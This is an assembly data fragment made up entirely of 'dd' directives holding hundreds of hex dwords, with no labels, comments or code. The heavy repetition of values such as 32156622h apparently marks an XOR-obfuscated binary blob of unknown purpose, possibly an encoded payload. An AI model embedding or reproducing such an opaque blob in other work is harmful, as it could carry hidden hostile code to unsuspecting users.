dd 2A986971h, 0DA156688h, 32156656h, 1194FF9Eh, 0EB96E997h
dd 7FF2F4DFh, 27369869h, 0CB4D43B9h, 5EFE0E70h, 0BA1A9DEEh
dd 32156648h, 321561CBh, 7E209011h, 0E0CDB3C4h, 290D3BBh
dd 0B61A61C2h, 3215661Ah, 0FD9E00E8h, 3215EB4Bh, 0BF746622h
dd 0D22C9E94h, 3598698Fh, 52156644h, 0F6957D95h, 0E2EA0746h
dd 32156F61h, 0EA05A644h, 0E4D16E25h, 38FC69A5h, 8E156688h
dd 0D3377255h, 0B9B65891h, 0A690EF91h, 5212815Eh, 37FCA9CFh
dd 0BD156622h, 5897A4FCh
dd 6B90A0E9h, 76128643h, 677D9ADEh, 0DBAE159Fh, 32156698h
dd 0CE058E9h, 820070AFh, 5A390394h, 0F1B12E1Eh, 1D14D3BBh
dd 0BFEC61C2h, 0D22C9E94h, 0B01A068Fh, 32156640h, 0AFD9DE44h
dd 321560F9h, 0D827DB88h, 54155316h, 0FF37B8A3h, 0E2EA074Ah
dd 0EA9E06E8h, 30AB90FBh, 0BB740750h, 0D5C36294h, 32018F8Fh
dd 0A6A6644h, 7A483C1Ch, 0BB2656A4h, 0B9492208h, 0D993916Fh
dd 0B275B7FDh, 0B37355D9h, 5370FB5Ah, 354CE382h, 0DB5661C2h
dd 3215661Bh, 48840E25h, 84CC164Eh, 0CE7D07D9h, 0CAA9E87Fh
dd 1D14D377h, 0C77561A4h, 0CA90EB43h, 52128628h, 0FBD6DCEEh
dd 321574ADh, 0AF70FA22h, 356FAA40h, 981F9212h, 0FDEFB1E7h
dd 53AAA86Eh, 0B01AB6EEh, 32156687h, 32156CADh, 0E22F3A22h
dd 0C4E4FF5Dh, 0BBD9DAC2h, 0D5C36EC1h, 321F8F25h, 855B6611h
dd 51821742h, 0AA1BF391h, 354CE3E4h, 524661F1h, 3217E887h
dd 61A66644h, 0DB740D93h, 32156600h, 89360299h, 0B00757F3h
dd 65D547B8h, 448A2F52h, 0CBF0EC2h, 0CDE9A054h, 0D23A6797h
dd 1976916h, 52156688h, 321574ACh, 0FB2A6322h, 9F334D9Dh
dd 0FBBE8993h, 0F63EE24h, 6D78EB3Dh, 321572F8h, 0F5D3388h
dd 12317E75h, 47BBD050h, 66E7AF4Ch, 972AB7E4h, 0B7980723h
dd 35F55FDAh, 321EE81Eh, 54756688h, 545CB6FDh, 496BA4A3h
dd 52C59970h, 4B8EDDEEh, 0B846DF22h, 3E90EF43h, 3D1281C7h
dd 3215670Dh, 8F969344h, 35F56277h, 81916911h, 0DB15668Bh
dd 3215664Dh, 1E7C85Fh, 27E936A2h, 0BFAB0616h, 8D147FA4h
dd 52D8883Ah, 6B90A070h, 7412868Fh, 321DEF4Bh, 3D756622h
dd 3215669Bh, 37D0788h, 0C7EFF08Ah, 3214E42Dh, 0CDE06611h
dd 0D23A673Dh, 3E9D6943h, 3D156622h, 3215609Bh, 32976988h
dd 0C7156644h, 0BEDE3AFh, 26FC61F1h, 50156688h, 0F9DEB395h
dd 0B4C26993h, 0AE2B44DAh, 0E86AB7A4h, 0CD109BD7h, 32108FF2h
dd 4FFD6611h, 0BB7DBF82h, 0D5C30EC1h, 0B7D39A25h, 35F56148h
dd 0B37306CEh, 0DBC651A5h, 32156624h, 0CEEF7408h, 5A74B0EFh
dd 0CEB25C92h, 33A099D7h, 3D12863Eh, 32156C01h, 0BF1A0644h
dd 32156622h, 3D740771h, 32156704h, 0B7989344h, 35F55FDAh
dd 32156AF8h, 0E6D92D88h, 0AA109AA4h, 1516BAE8h, 3DC5998Fh
dd 32156A06h, 34906944h, 3D156622h, 3215669Eh, 4A90EF88h
dd 52128192h, 32156CCBh, 5A657511h, 193FCDF2h, 54BF1570h
dd 870485A3h, 32188F70h, 745D6688h, 7E55744Bh, 4B5256CBh
dd 0F4FD9C77h, 0D2123F0Dh, 5AE92043h, 0A0E9C222h, 3218EF1Eh
dd 3AFC6688h, 0C7156644h, 26FA9863h, 0CD7BE0C1h, 0D23A673Dh
dd 0B91A0643h, 32156620h, 0BDA28C9Bh, 339669E9h, 0CE156644h
dd 0BEDE3AFh, 34FC61F1h, 0CB156688h, 9D07AA4Dh, 3DC59981h
dd 3215619Ah, 0B3730688h, 536559ABh, 0E469E3ABh, 0B81A61F6h
dd 32156684h, 3213E44Bh, 0BA1A6622h, 32156611h, 354CE34Eh
dd 525361A4h, 3200EC2Dh, 3DFD6611h, 40156688h, 63B32F4Ch
dd 72D1A4C5h, 5844F59Fh, 3D4DEC28h, 32157ECFh, 32068F22h
dd 0E2846611h, 0C347C815h, 7C0BEFBDh, 53A36988h, 0ABF9CC3Ch
dd 587D07D9h, 52E3B20Bh, 8A2BDA3h, 851A1028h, 87EA0748h
dd 35F54945h, 3200E32Dh, 22FC6611h, 6E156688h, 4257F7C4h
dd 1071EC23h, 610473C0h, 0BFFFBBCDh, 0D22C9EC1h, 33976925h
dd 0CE156611h, 8975B677h, 2FB821F7h, 0ABEA159Dh, 0B79C072Eh
dd 35F2B008h, 32156CADh, 649C4722h, 28A27801h, 3D906A9Dh
dd 321568C3h, 0D5940622h, 103C671Fh, 3215EB87h, 0F4746644h
dd 0D2123FA7h, 5AED2016h, 0A6D8366Fh, 321DE54Bh, 0BA1A6622h
dd 32156613h, 87EA07E8h, 35F54945h, 339869DBh, 0CB156611h
dd 0BEDE305h, 547561A4h, 0FCBADA3h, 5391A991h, 3CFCB677h
dd 0AE156644h, 9984FD43h, 0CA4099AAh, 9AF40F69h, 0B79C9AA8h
dd 35F2B04Eh, 0A703D871h, 694633E3h, 6B90A025h, 74128625h
dd 32156AF8h, 0D7A4E788h, 0A37E2805h, 0FABF87B9h, 0A7AC064Ah
dd 8A317622h, 63B2F6D1h, 462E0E43h, 0BE1AD733h, 3215668Eh
dd 52CFED24h, 87EA0743h, 35F54910h, 321FE887h, 37FC6644h
dd 8156622h, 0B26C6FFDh, 0BEDE305h, 3DFC61A4h, 0F1156622h
dd 31856E32h, 83321A73h, 0B73F0317h, 0E2EA1AF5h, 3214EA1Eh
dd 0DBED6688h, 32156656h, 620E06D0h, 6F88DF65h, 0F8C29529h
dd 0A9F4DC55h, 0B79C9F33h, 35F2B061h, 32156B61h, 2167144h
dd 32D82F73h, 89F66198h, 0F4EC2FFFh, 0D2123FC1h, 0B41A2025h
dd 32156614h, 0F49E00E8h, 0D8F80E25h, 0CDECB95Bh, 0D23A67A4h
dd 0B7989F8Fh, 35F55FBCh, 3AFC0642h, 0E0156611h, 3D40721Ah
dd 0B2364FEFh, 0DB74D7EDh, 32156603h, 3F4D6F9h, 7BBB6450h
dd 0EA58AEFEh, 3790F60Bh, 0CD742D3Fh, 0CAA60694h, 53E2D92Dh
dd 4690EFE8h, 3D12815Eh, 32156BC9h, 321D8F22h, 0A17C6611h
dd 0C90A5D32h, 8F96D85Ch, 35F56673h, 89906911h, 52156688h
dd 26D706FEh, 32058E59h, 89686611h, 0C2726011h, 661F40AAh
dd 0E2D52246h, 3EFD7C83h, 0C7156688h, 0A18B9069h, 0CA968643h
dd 6C97F21Eh, 0B7D307D7h, 35F5611Dh, 0B71A9F71h, 32156601h
dd 32156D61h, 9A568E44h, 0E5CC65ECh, 0F6F817B1h, 8CF538E0h
dd 0D795068Ah, 7F8EDDCBh, 0CD744A39h, 0D23A673Dh, 0B7989E43h
dd 35F55FDAh, 321574F8h, 2A4E7788h, 0B1CF695Ah, 0A6ACBB18h
dd 3047BF15h, 0CDB7BC04h, 32018F94h, 0A64F6622h, 5B9F623Eh
dd 0E0B651CCh, 0ADED1506h, 2ADB09CDh, 0B21ACE0Ah, 32156689h
dd 2290EFB1h, 0DB1281F4h, 3215661Fh, 0E058286h, 4FD5A147h
dd 3B4B63B0h, 0B7D3A9DAh, 35F561D1h, 0B57D9F03h, 0DBD2D77Ch
dd 32156616h, 296BE84h, 0CD011D95h, 0D23A6797h, 32068F16h
dd 9A556688h, 0D64AD081h, 3B7721B1h, 0B23CD0D6h, 3F90AEACh
dd 0CA90EBFEh, 3D12861Bh, 32156194h, 33976988h, 0CA156644h
dd 0BBECB6DDh, 0D5C37294h, 0B3759A8Fh, 0EC04DC9Ch, 321C8F63h
dd 0AD386611h, 9CD45402h, 534EC54Ah, 3244DBA1h, 3D1561F1h
dd 3215FA0Dh, 0B7D39E44h, 35F5617Bh, 35976956h, 3D156688h
dd 321567CFh, 377D9322h, 0DBF3046Fh, 32156682h, 1B75D6CEh
dd 0CFEB138h, 87EA1E3Ah, 35F54989h, 32078F24h, 44806622h
dd 93BF2651h, 6ECF484Ah, 84FA5685h, 0EA8EC4A3h, 0CA90EB70h
dd 521286B1h, 0DAC7D94Bh, 3215662Dh, 472F0DA8h, 830C18C9h
dd 554562A9h, 0C74FD3C8h, 23FC074Ah, 97156688h, 0ABB465D2h
dd 8E99EADEh, 0B22FCA3Fh, 0D6E1447h, 0BBECB6BBh, 0D5C37EA7h
dd 321A8F16h, 0D6176688h, 53C9150h, 0F37BE5CCh, 0E8EDEEC3h
dd 6B90A00Eh, 71128643h, 21ADDE42h, 0F795029Ah, 0C47D07B1h
dd 0CA871C4Dh, 1D14D3DDh, 0BFE961F1h, 0D22C9E0Dh, 32128F43h
dd 5A76622h, 448B6C0h, 0DBC59998h, 3215664Bh, 4A4307D3h
dd 4C5532A7h, 872DFA82h, 0DB82BB64h, 32156627h, 8082195h
dd 2E90EFBFh, 0DB128192h, 32156624h, 7C5483A0h, 0B7D3F7E3h
dd 35F5611Dh, 359F6961h, 3D156611h, 3215670Fh, 127D9A44h
dd 0DBE947B5h, 32156601h, 51F7D8Ah, 51C42E5Dh, 848145CDh
dd 0A80671D9h, 1D14D377h, 0B91A61A4h, 32156632h, 32156DF8h
dd 0FB0DDA88h, 0BEFEFB23h, 0E7C2926Fh, 0BEDE39Ch, 0CDEC6168h
dd 52EC0694h, 82C5E744h, 0A1DBE696h, 0B79C07E9h, 35F2B064h
dd 3DDEED42h, 3215659Eh
dd 76F2E688h, 63A8E525h, 32128622h, 32C1E31Eh, 37FC6688h
dd 0BA156644h, 0B02518E4h, 354CE3D7h, 0CE566168h, 32BD652Ch
dd 0B97306A9h, 87EA07CFh, 35F54989h, 32156BADh, 295CB122h
dd 283D07DAh, 2A5BFA88h, 0B798F8DFh, 35F55FDAh, 0CAC599E8h
dd 0E43DE301h, 38FC61A3h, 9156622h, 0C0C22DA1h, 0D8A48A8Ah
dd 6B90A01Bh, 71128625h, 249B69E8h, 3D156688h, 321576C8h
dd 321E8F22h, 12416611h, 49D6248Ah, 2272804Ah, 4C00EFBh
dd 0CDED834Ah, 0D23A673Dh, 32058F43h, 80446622h, 0B53A4BB5h
dd 0A59E0E6Fh, 301E2249h, 0B798A8E9h, 35F55FE9h, 0E2EA9A70h
dd 32156BADh, 0DB7CDF22h, 8F8D785Ah, 55C9E81Bh, 0B79C56B2h
dd 35F2B006h, 3201EB1Eh, 0CB756688h, 32156AADh, 0DE179422h
dd 3A4A8CA0h, 7116BE04h, 0B7D30711h, 35F5617Bh, 0BF1A0652h
dd 3215668Ch, 4541DF22h, 0FEE6E744h, 0CE7507C1h, 0F182F732h
dd 0D37D0734h, 0DBFFCC10h, 32156617h, 0A2EBAE5Fh, 87EA7CBDh
dd 35F54923h, 0CA90EBEDh, 521286B1h, 0B31A3DF7h, 32156626h
dd 2847DD77h, 0DBC599E9h, 32156656h, 4C9D1E8Ah, 0B340A893h
dd 7A00984Fh, 8349CC39h, 0B79C7FD8h, 35F2B03Dh, 32157261h
dd 30040444h, 0A45397ABh, 709CF3BFh, 9BFB3B30h, 0CFDA77BDh
dd 339969CBh, 0CA156611h, 354CE34Eh, 525661A4h, 32156ACBh
dd 9F066611h, 0AD94DB2Eh, 6E36917Ah, 0F5A2699Ah, 33936970h
dd 0CB156688h, 0C3B9512Ch, 3E9469A6h, 52156611h, 3215E787h
dd 8A736644h, 0CD74331Ah, 0D23A67A4h, 32108F8Fh, 410C6644h
dd 0BFACDC5Bh, 0D22C9E94h, 399F698Fh, 0DB156644h, 32156624h
dd 464DDC4h, 0E2EA1394h, 0FD9E0024h, 0A2F4E674h, 0B79C074Bh
dd 35F2B0B8h, 3219EA4Bh, 0BA1A6622h, 32156617h, 3215ED87h
dd 0B7D36644h, 35F5617Bh, 321E8F5Eh, 15C76688h, 429A1BF3h
dd 22CD9536h, 0A2C10E91h, 3DE0F1BDh, 321573CCh, 32058F22h
dd 17126611h, 0A72FED05h, 7EB81B9h, 0BDA4BE6h, 87EA4294h
dd 35F54989h, 321576ADh, 0CB6AA022h, 0D2B3808Eh, 6062D8D6h
dd 47732CA4h, 32188F87h, 0FC206611h, 0A338788Eh, 0FAB87381h
dd 0BFBF2F96h, 0D22C9E94h, 321A8F8Fh, 82216644h, 0AC210EC8h
dd 839D3750h, 0C58EE9A6h, 0DBC599B2h, 32156636h, 0BEF443E2h
dd 76830ACBh, 0DEA8F5DEh, 0F900B578h, 41162E9Ah, 3204E087h
dd 3EFC6644h, 0E4156622h, 0FE14BC14h, 4E902702h, 0BB0C0F4Dh
dd 0D5C352A7h, 0B7D39E16h, 35F561D1h, 2F98690Bh, 52156622h
dd 38882BAEh, 32048FBDh, 4DE36644h, 9F397E8Bh, 0FCE3BBE8h
dd 38AE1E89h, 539C7D93h, 5C1B644Ah, 87EA93E8h, 35F54989h
dd 38FC9A24h, 0E3156622h, 59BA0CE7h, 0B1E64B68h, 0B7980719h
dd 35F55FDAh, 3214E71Eh, 0CDEC6688h, 0F59E0694h, 53D2ED44h
dd 0E42DE398h, 3AFC616Fh, 0F0156644h, 5CCAA45Ah, 0F4E9AEF4h
dd 0D2123F0Dh, 20FC2B43h, 3F156622h, 1542F253h, 0A72964AAh
dd 6390B22Bh, 27346FE6h, 339769F0h, 0CB156688h, 56C2F2Ch
dd 32068FEAh, 65F36611h, 0D1F74E91h, 9FC25AE0h, 7D946B20h
dd 274107AEh, 33A099AEh, 0DB12866Bh, 3215662Dh, 0DDFD64C7h
dd 78A115D6h, 0D58BC4C6h, 0BF2CF42Bh, 0D22C9E94h, 37AD068Fh
dd 53196E26h, 321FE42Dh, 60756611h, 329469D7h, 53156644h
dd 5475B6DDh, 3DC3E3AFh, 32156005h, 0E2C2E744h, 534E21CDh
dd 0E455E398h, 0B51A616Fh, 32156645h, 6B90A0DAh, 7F128616h
dd 3204E087h, 3EFC6644h, 93156622h, 5879B1E4h, 57CB0DB5h
dd 5A1C76B3h, 0EEE22BABh, 33A099E8h, 3D1286A7h, 321567CEh
dd 0B7989322h, 35F55FE9h, 32156161h, 94BE3044h, 0EAF99D31h
dd 3AFCB6EEh, 0BE156688h, 0BD59D8A1h, 0BBAF714Bh, 0D5C35A94h
dd 32128F8Fh, 0AD376644h, 0A9861E8Bh, 6B90A09Ah, 6712868Fh
dd 1F220EBDh, 0BF1AFA39h, 32156610h, 0D7AC0670h, 5443F11Eh
dd 286DBCA3h, 33A09970h, 3D1286A7h, 32156DC2h, 32138F22h
dd 89336611h, 485B8860h, 0BEDE3C9h, 0CDE961C2h, 2C9A69C1h
dd 3D156688h, 32157ECBh, 32068F22h, 21796611h, 0ABF24811h
dd 0FF6C8ACEh, 82C85D12h, 0FC99304Ch, 3C9C6977h, 0DB156644h
dd 3215662Bh, 659FF431h, 0C39BA845h, 7690EF19h, 521281F4h
dd 321568F9h, 75288888h, 825DC4B8h, 0D1DAB13Ch, 0DAB7AB92h
dd 32156684h, 0D08077BBh, 0B3D9E06Ch, 0E2C0F209h, 0D2943ED7h
dd 60EDD70Eh, 6B90A043h, 71128616h, 32156061h, 0D3C81444h
dd 3DE2F376h, 3215679Eh, 187D9E88h, 52C7B3B4h, 8ADDE642h
dd 53740771h, 33A09970h, 0DB12866Bh, 3215662Ah, 7A562E5Ah
dd 603174A3h, 4AAE0024h, 321B8FA0h, 79786611h, 8BF7087Ah
dd 0F2DCAD07h, 27F1EF4Dh, 0CA90EB70h, 521286B1h, 8C7388CEh
dd 0CD74AFA6h, 0B79C9EC1h, 35F2B0C0h, 329D6924h, 54156622h
dd 0F474BC9Ah, 0D2123F0Dh, 0B9753443h, 0EDAA69FBh, 86FF0E70h
dd 3FFC9BCAh, 8A156644h, 8B815AD1h, 0EDA0F76Ch, 80BF5533h
dd 1D14D3BBh, 0B91A61C2h, 3215660Ah, 3200E087h, 22FC6644h
dd 73156622h, 48739FD5h, 0A16CDCB1h, 6A14C8CEh, 0BFCA4F8Dh
dd 0D22C9E94h, 3F98698Fh, 0DB156644h, 3215662Ah, 9CD03623h
dd 50C21D02h, 0BBEDB6BBh, 0D20D4BA7h, 64E00616h, 0F756E636h
dd 0F4743F19h, 0D2123FA7h, 3AFC2116h, 2B156688h, 7EA72F48h
dd 5A7AFBE1h, 0D08D3F88h, 0C79534E8h, 3FFC39F7h, 0B6156622h
dd 0FE5116CEh, 0C2DE1A77h, 6525BF06h, 33A09943h, 5212863Eh
dd 32156961h, 7B8EDF44h, 2F84385h, 0BA2B108Ah, 0D3A1C67Ch
dd 0DB748ECEh, 32156631h, 0AC2AC225h, 48E9672h, 2D26F8D2h
dd 0B43DBB41h, 0BFF91567h, 0D22C9E0Dh, 0B61A0643h, 32156622h
dd 3213E91Eh, 0FB946688h, 146125A1h, 0DBC59943h, 32156601h
dd 0C4F5E807h, 166049AFh, 1C76BCCDh, 46574BD8h, 0E459E301h
dd 23FC61A3h, 0C6156622h, 73CFA3A5h, 92C6117Dh, 4C2CA019h
dd 5CD524E3h, 31956971h, 0B2156688h, 0BAF7E9Eh, 53601E81h
dd 354CE3D7h, 0CB526168h, 0CF75A42Ch, 33936993h, 0CA156611h
dd 1D14D377h, 0B51A61A4h, 32156623h, 0CA90EBE8h, 3D1286B1h
dd 32157FCBh, 219D6922h, 0DB156611h, 32156686h, 2AD5DADAh
dd 2A96A6AFh, 27BAD2A7h, 0E2EAD747h, 6290EFB8h, 0DB1281F4h
dd 32156603h, 40C1B02Ch, 60D4786h, 7EA3866Ch, 0E18A6A16h
dd 0B7D3C680h, 35F5611Dh, 2B9C6965h, 52156611h, 22FCBA3Ch
dd 0EE156644h, 9367EB60h, 6810FEBh, 879D53E2h, 539BBC34h
dd 0CC010EDAh, 3FFCB9B7h, 95156688h, 8ADB296Eh, 87888FBh
dd 14149276h, 1D14D377h, 21FC61A4h, 0FE156622h, 593F0D98h
dd 7AB1C9D5h, 3874BBB6h, 0D631C97h, 0B798BB21h, 35F55F70h
dd 3204E24Bh, 3EFC6622h, 0D8156611h, 31F76EBDh, 0B03E3E49h
dd 0CDE3ED5Bh, 369169C1h, 52156688h, 0BB743C17h, 0D5C332A7h
dd 0B7D39316h, 35F561D1h, 5475061Bh, 7AAFA9A9h, 532EA343h
dd 0FAAA69D9h, 5A7D071Eh, 528B36D0h, 884A3671h, 61D749FFh
dd 32068F25h, 9A466622h, 0C3D7C46Fh, 6BC41841h, 0DD53CEAFh
dd 244DC44Eh, 87EA073Bh, 35F54989h, 0CA90EBB1h, 0CA12861Bh
dd 0DA75B6EEh, 32156680h, 1E8A1938h, 0EDE9F428h, 0B94CF2A0h
dd 0B79C075Eh, 35F2B01Ch, 32156ACBh, 73CAFD11h, 7D719B88h
dd 0D2784A9Ch, 6B90A0BDh, 7D128616h, 321DE687h, 0B31A6644h
dd 32156620h, 0D7D0771h
dd 0CBD29AF3h, 1D14D3BBh, 547561C2h, 69EDBD90h, 3D749703h
dd 321568C4h, 0DC940622h, 5E30E5EBh, 3215E087h, 0BF746644h
dd 0D22C9EA7h, 32128F16h, 1A4B6688h, 97148335h, 52C599EBh
dd 9B8E22AFh, 9EAE00CDh, 0B79C0756h, 35F2B0A6h, 32156BF8h
dd 4E578388h, 0DBE358F8h, 0CF3FEB28h, 0B7D3E307h, 35F561D1h
dd 3DFC0603h, 9A156622h, 0D30C280Eh, 0DC1F66B0h, 0B305D5Ch
dd 0D99F4B71h, 5C590E70h, 0CDE09CD3h, 0D23A67F1h, 0B7989325h
dd 35F55FE9h, 0DBC5997Dh, 32156642h, 0AE552463h, 0B79C919Fh
dd 35F2B000h, 321560ADh, 0C83B22h, 0F429B65Bh, 0D2123F0Dh
dd 0BA1A2143h, 3215662Ah, 3217E31Eh, 53756688h, 3431AB2Ch
dd 32108FE1h, 6F086611h, 0DB2847A9h, 32156643h, 3A575F10h
dd 0CDDBFE28h, 0D23A673Dh, 0B01A0643h, 32156620h, 0C7743943h
dd 0BEDE305h, 0DBE061A4h, 32156636h, 7541AD11h, 0C83C66A5h
dd 559C4665h, 0A400A2FFh, 844DA4E2h, 23FCB677h, 21156644h
dd 0B2D6E71Bh, 3A34342Fh, 0CBA3F126h, 0C1259394h, 0E499E3ABh
dd 0DB7561F6h, 32156683h, 0F9512B18h, 0F00E1C1Ah, 8D8AD5E1h
dd 1318C3A3h, 6B90A025h, 6D128625h, 321577F8h, 0FBC7EE88h
dd 80C3FC5Dh, 988892C1h, 0ECFE51EDh, 0FE7DDE6Dh, 0C7C1DD24h
dd 1D14D3DDh, 0B61A61F1h, 32156689h, 0CA90EBB1h, 3D12861Bh
dd 3215609Ch, 0F89E0688h, 0CD74D1F1h, 0B79C9AF2h, 35F2B04Dh
dd 32156A61h, 5411ED44h, 125F44FDh, 0F6708B09h, 6B90A0D5h
dd 6D128643h, 399F6942h, 0DB156611h, 3215668Eh, 192FBFD8h
dd 0DA9FE286h, 665B0E70h, 3CFCF861h, 0CD156644h, 0A0F96B1h
dd 1C373D82h, 0B6B78672h, 33A099CDh, 5212860Dh, 32156AF9h
dd 0A3C53388h, 0FC853B36h, 73C79699h, 32128EACh, 9B276688h
dd 0C8C87371h, 544F3E9Fh, 5274A09Ah, 32157260h, 548E6644h
dd 0F6FB5846h, 0C9B7477Dh, 1960A235h, 0FD299AEDh, 634A9E5Ch
dd 6AA8B891h, 0CA90EBE9h, 3D12867Dh, 321567ABh, 0E2EA9A11h
dd 320DE887h, 0DB756644h, 32156632h, 5D4BD510h, 7CD6C10Fh
dd 0B2337271h, 2D967359h, 0B79C07E4h, 35F2B0E8h, 6B90A0B8h
dd 6D128625h, 321572F8h, 0E2C3AE88h, 0D87F856Ch, 748702D8h
dd 0E9B9E3E0h, 7BFEAED2h, 1A5D0E93h, 3EFCB731h, 0A7156611h
dd 37BBA030h, 80E291E6h, 0CD52FF78h, 0D23A67A4h, 0BF74068Fh
dd 0D22C9EC1h, 0CDEC9325h, 2B9B69C1h, 0DB156688h, 32156650h
dd 0B0F8293Dh, 0EE629E8Ah, 0A14D8336h, 0D99FD83Fh, 5949C221h
dd 0E471E398h, 0BC1A616Fh, 32156643h, 0A033D942h, 0DB747563h
dd 32156680h, 0BBACAEDCh, 2FF5DDFCh, 5AE9627Bh, 32157688h
dd 22150EBCh, 58ED6622h, 0B91A0611h, 3215668Bh, 0B33EBCC4h
dd 0CCB1B1F9h, 0DA75075Dh, 32156685h, 71EF85FCh, 5C08B520h
dd 0F6C136AAh, 0B24D93EAh, 0CD74EE94h, 0D2122FB7h, 0B79C9316h
dd 35F56EC5h, 9090EBB1h, 0C7128186h, 321575F8h, 20144E88h
dd 70E901F6h, 88E8C04Fh, 0F2B5E6D4h, 0F8946814h, 26FCB6BBh
dd 90156622h, 0E980B6C8h, 45979705h, 7A9C0DC2h, 30DE4003h
dd 5839F61Ah, 3E90698Ch, 3D156644h, 321560ADh, 32936911h
dd 5A156688h, 32157644h, 8D56D942h, 5A74636Fh, 32154688h
dd 53C2ED24h, 32156DCBh, 8D3F1111h, 0EA0F769Ah, 2F117E55h
dd 0B41A6648h, 32156610h, 7B809970h, 52128643h, 51B8DD44h
dd 7CF1E643h, 0B79C07D2h, 35F57225h, 321CE62Dh, 87756611h
dd 0C18DF7Ch, 0BB747CD6h, 0D20C9FA7h, 727F9E16h, 22150E71h
dd 22FC6644h, 0C8156622h, 28C5FECAh, 0A50AA190h, 0B3F99475h
dd 5A5DC61Ah, 32146611h, 0B01A0671h, 32156642h, 0DAF396A3h
dd 5874413Bh, 3E9C6988h, 0DB156644h, 32156625h, 728B43DFh
dd 0CDCCB150h, 0D2122FD1h, 321A8F25h, 4D636611h, 0BB10A9A1h
dd 0B0983416h, 0DDAA3BD9h, 8B90EF1Eh, 52128688h, 321568ADh
dd 71614422h, 9B846FC5h, 368A4162h, 52C798BEh, 52EAB5A3h
dd 6C453F08h, 879E07E9h, 35F57861h, 3A9269DEh, 52156611h
dd 9649DCEEh, 0B97416F4h, 0D2300FBFh, 3DFC0616h, 0B6156688h
dd 2FD41525h, 9B55B3E6h, 3F22385Ah, 22FD6F6Ch, 24156644h
dd 4654AD19h, 0C97B3B29h, 0D0AB4571h, 543C526Dh, 1E0187A3h
dd 52750749h, 0B41A07E8h, 32156644h, 32068F43h, 94F56611h
dd 5EE2AC2h, 7D87A964h, 6F5B7DE4h, 0D676FE85h, 879C079Fh
dd 35F57D89h, 5388EFDBh, 0DB12860Fh, 3215668Dh, 0B88151DBh
dd 5B88EDBBh, 0CB128634h, 0B3269970h, 3F624270h, 3E9E5BF8h
dd 36D1E535h, 3F629709h, 0B1ED5B9Eh, 0B61A66DBh, 32155F32h
dd 3200E087h, 22FC6644h, 2B156622h, 5579E4B5h, 1CEC5ACEh
dd 0DAAF6843h, 5A2BD295h, 32150198h, 0CE316201h, 0B3F7EF16h
dd 321562E0h, 36FFE711h, 0B5156688h, 0BB494250h, 0B21A422Eh
dd 32156617h, 0B8DBEDE8h, 527507BCh, 3204ED2Dh, 39FD6611h
dd 0F6156688h, 0B17887D0h, 389428D5h, 0CA4B90C4h, 3DD557E9h
dd 321567CFh, 0B79C9E22h, 35F54F50h, 323DEA87h, 0DB756644h
dd 3215662Dh, 1B78B1EDh, 8F7F8A65h, 4586B279h, 0DAA269B3h
dd 3215661Dh, 0F669CC95h, 0A6DAD40Eh, 0D38305E0h, 5A40074Eh
dd 5E6F61A3h, 3AF8A719h, 4BDE8BA3h, 0DC9C667Dh, 0B3314A03h
dd 32156280h, 0F4949F22h, 61EB51FCh, 312A009h, 46166B2Fh
dd 0DC944606h, 3F7E5716h, 5F88809h, 22FC35BAh, 23156622h
dd 0B5FD0CB8h, 0EE983ACEh, 8B17768h, 5489ADEAh, 3AFC06BCh
dd 92156688h, 62DB7199h, 54D5BAE3h, 1A0EBE90h, 65FB4BE9h
dd 76166655h, 8D424606h, 320431FFh, 0CB4A9E89h, 0BB118AC7h
dd 4AAC422Eh, 33156611h, 6B24ED49h, 321574ADh, 4EA55022h
dd 88B1F79Bh, 0BB8A248Eh, 0D3447EF0h, 0B3733B22h, 4C32B0FFh
dd 166165B1h, 0E4AF3464h, 332C1805h, 0B71A3CC7h, 3215669Fh
dd 0DBCDD424h, 3215662Ch, 3A3A8E53h, 0F1DDC4F4h, 4CD7B77Dh
dd 0CD743736h, 0E9E7E67h, 36D1E7ACh, 3D156644h, 32157BA4h
dd 0B9730611h, 32068F73h, 2DBF6644h, 35226E72h, 6109F2E0h
dd 63C16D2Eh, 0A2DB3161h, 8F9C070Bh, 35F577F0h, 3DEAE371h
dd 32152FC1h, 39936922h, 0DB156611h, 3215668Eh, 948F2F80h
dd 0DAEDB3CEh, 3215077Fh, 32156161h, 861A7E44h, 52BC31D4h
dd 3210F8F8h, 21FD0688h, 90156644h, 4CDC97E0h, 9AFE3FC0h
dd 907989CEh, 5A3F701Ch, 5375D756h, 53750649h, 0D67D07E9h
dd 0BB156658h, 0B11A422Eh, 32156610h, 8847317Dh, 6E810992h
dd 36313213h, 0C0943C4Bh, 6E81095Eh, 3212E64Bh, 0B51A6622h
dd 32156610h, 36C70D7Dh, 32156EADh, 0F10B6222h, 6715CFA6h
dd 32138F6Bh, 8B4A6644h, 0F427E784h, 2C44F398h, 58ED6168h
dd 26FC9E40h, 86156622h, 0C8B98807h, 0FA5C345Eh, 4AF0F8F4h
dd 361F107Dh, 5ADBD216h, 32157688h, 3214ED4Bh, 5AE96622h
dd 32156A4Ch, 52317201h, 711FACC5h, 0B9734BC3h, 327F07CEh
dd 37D6E7E8h, 5455F9F2h, 3D74A1A9h, 32157499h, 32188F88h
dd 3286644h, 4035423Ah, 6F60C8A7h, 0CD419441h, 0D2122FD1h
dd 0B79C9F25h, 35F57538h, 32156B61h, 0B5754844h, 4EAF5C2Ch
dd 4B675365h, 0B945BD93h, 0F6944250h, 32156626h, 3214EA1Eh
dd 0CDE06688h, 0B14C4270h, 22FC62E6h, 4B156611h, 4541DDEAh
dd 0F4728ADCh, 95094EC1h, 0DA392FCFh, 321506B2h, 32198F24h
dd 0AAD6622h, 45611030h
dd 44345E30h, 0CE741130h, 0B3F3EF74h, 321562D7h, 36FBE588h
dd 6E3152C3h, 0DB3152ABh, 3215661Eh, 10A6C35Bh, 4A892C92h
dd 540E782Eh, 9F248EF5h, 32156E61h, 0CBE56E44h, 0D06F5F98h
dd 76FC4B5Ch, 2D100F99h, 3157AA46h, 1F314266h, 70D9640Eh
dd 23518F8Dh, 3393692Dh, 0CA156622h, 0BB118A92h, 6A42428Ch
dd 3B94691Bh, 52156622h, 0A2CCE777h, 537406A0h, 0D3AF3413h
dd 3200317h, 68114245h, 0D3E6E7D3h, 3D200371h, 321573A6h
dd 32058F11h, 63A06688h, 0B1C28450h, 0B54A2903h, 6B266646h
dd 0BB45A3BDh, 321163A4h, 0DA966622h, 1611E115h, 1629EFD4h
dd 0C9CCE624h, 32156CCBh, 0AC9D7E11h, 10D438C5h, 53A39CC8h
dd 8875A612h, 7F5D7E33h, 3919DFEEh, 0CF60C825h, 321575CBh
dd 72DD9F11h, 1605AEAh, 0E1533278h, 0D502CA63h, 337A6EA9h
dd 3210EC87h, 3D756644h, 0B9749F9Dh, 0BB404225h, 36D0E76Dh
